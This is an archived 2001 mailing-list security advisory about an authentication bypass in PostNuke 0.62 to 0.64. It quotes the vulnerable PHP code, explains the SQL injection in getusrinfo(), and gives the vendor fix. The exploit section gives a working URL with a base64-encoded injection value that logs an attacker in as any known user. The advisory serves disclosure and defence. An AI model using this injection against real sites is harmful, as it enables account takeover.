Bug in PostNuke 0.62, 0.63 and 0.64 (and possibly PHPnuke)

From: Magnus Skjegstad (listsat_private)
Date: Fri Oct 12 2001 - 19:08:02 PDT

  • Next message: Damir Rajnovic: "Re: Cisco Systems - Vulnerability in CDP"

    ----- IMPACT -----
    If an attacker knows the username and userid of a user on a PostNuked system, it is possible to log in as the user without specifying a password. 
    
    Userid/username is usually available from the Members list.
    
    A fix is available at the end of this document.
    
    ----- AFFECTED VERSIONS -----
    PostNuke 0.62, 0.63, 0.64
    PHPnuke is not tested. Version 5.2 (and earlier) contains the same code as PostNuke and could be vulnerable.
    
    ----- BACKGROUND -----
    The vulnerable code is located in article.php and mainfile2.php (mainfile.php):
    
    o article.php:
    
    if ($save) {
        cookiedecode($user);
        mysql_query("update $pntable[users] set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'");
        getusrinfo($user);
        $info = base64_encode("$userinfo[uid]:$userinfo[uname]:$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
        setcookie("user","$info",time()+$cookieusrtime);
    }
    
    o mainfile2.php (mainfile.php in PHPnuke and older versions of PostNuke):
    
    function getusrinfo($user) {
        global $userinfo, $pntable;
        $user2 = base64_decode($user);
        $user3 = explode(":", $user2);
        $result = mysql_query("select uid, name, uname, email, femail, url, user_avatar, user_icq, user_occ, user_from, user_intrest, user_sig, user_viewemail, user_theme, user_aim, user_yim, user_msnm, pass, storynum, umode, uorder, thold, noscore, bio, ublockon, ublock, theme, commentmax, timezone_offset from $pntable[users] where uname='$user3[1]' and pass='$user3[2]'");
        if(mysql_num_rows($result)==1) {
            $userinfo = mysql_fetch_array($result);
        } else {
            echo "<font class=\"pn-title\">"._MPROBLEM."</font><br>";
        }
        return $userinfo;
    }
    
    The bug is a result of the following issues:
    
    o It is possible to invoke the if-clause in article.php by just specifying save=1 in the URL.
    
    o article.php blindly accepts the $user variable specified in the URL.
    
    o There is no code in article.php that checks if cookiedecode() actually worked and the password specified in $user is not checked against the MySQL-database.
    
    o article.php accepts the $cookieusrtime variable as specified in the URL.
    
    o It is possible to modify the mysql_query-string in getusrinfo() by escaping the "'" in $user[1] or $user[2]. Like this (without the double-quotes): 
       "'  or uname='USERNAME". 
    getusrinfo() will then return anything with uname=USERNAME, even if the password doesn't match the one in $user. The full query-string sent to mysql will end up looking like this:
    
    select uid, name, uname, email, femail, url, user_avatar, user_icq,
    user_occ, user_from, user_intrest, user_sig, user_viewemail, user_theme,
    user_aim, user_yim, user_msnm, pass, storynum, umode, uorder, thold, noscore,
    bio, ublockon, ublock, theme, commentmax, timezone_offset from $prefix"._users."
    where uname='USERNAME' and pass='' or uname='USERNAME'
    
    To produce the query above the $user variable should contain a base64-encoded version of:
    USERID:USERNAME:' or uname 'USERNAME'     (base64_encoded)
    
    o When the userinfo is received from getusrinfo() by article.php, it blindly sets a "user="-cookie containing the encrypted password. 
    
    ----- EXPLOIT -----
    If an attacker requests a URL consisting of...
    
    article.php?save=1&       
    sid=20&      [any sid will do..]
    cookieusrtime=160000&     [to get a decent expire-date on the cookie]
    user=USERID:USERNAME:'  or uname='USERNAME      [base64_encoded]
    
    ... and goes back to the mainpage, (s)he will be logged in as USERNAME.
    
    
    ----- FIX -----
    Thanks to Sascha Endlicher and John Cox (www.postnuke.com) for comming up with the fix below. 
    
    In article.php, change the offending code to:
    
    if (($save) &&  (is_user($user))) {
        cookiedecode($user);
        mysql_query("update $pntable[users] set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'");
        getusrinfo($user);
        $info = base64_encode("$userinfo[uid]:$userinfo[uname]:$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
        setcookie("user","$info",time()+$cookieusrtime);
    }
    
    This may work in PHPnuke as well.
    
    A new version of article.php for PostNuke is available from https://sourceforge.net/project/showfiles.php?group_id=27927 under Fixes.
    
    
    
    Magnus Skjegstad
    magnus at skjegstad.com
    



    This archive was generated by hypermail 2b30 : Sat Oct 13 2001 - 09:02:47 PDT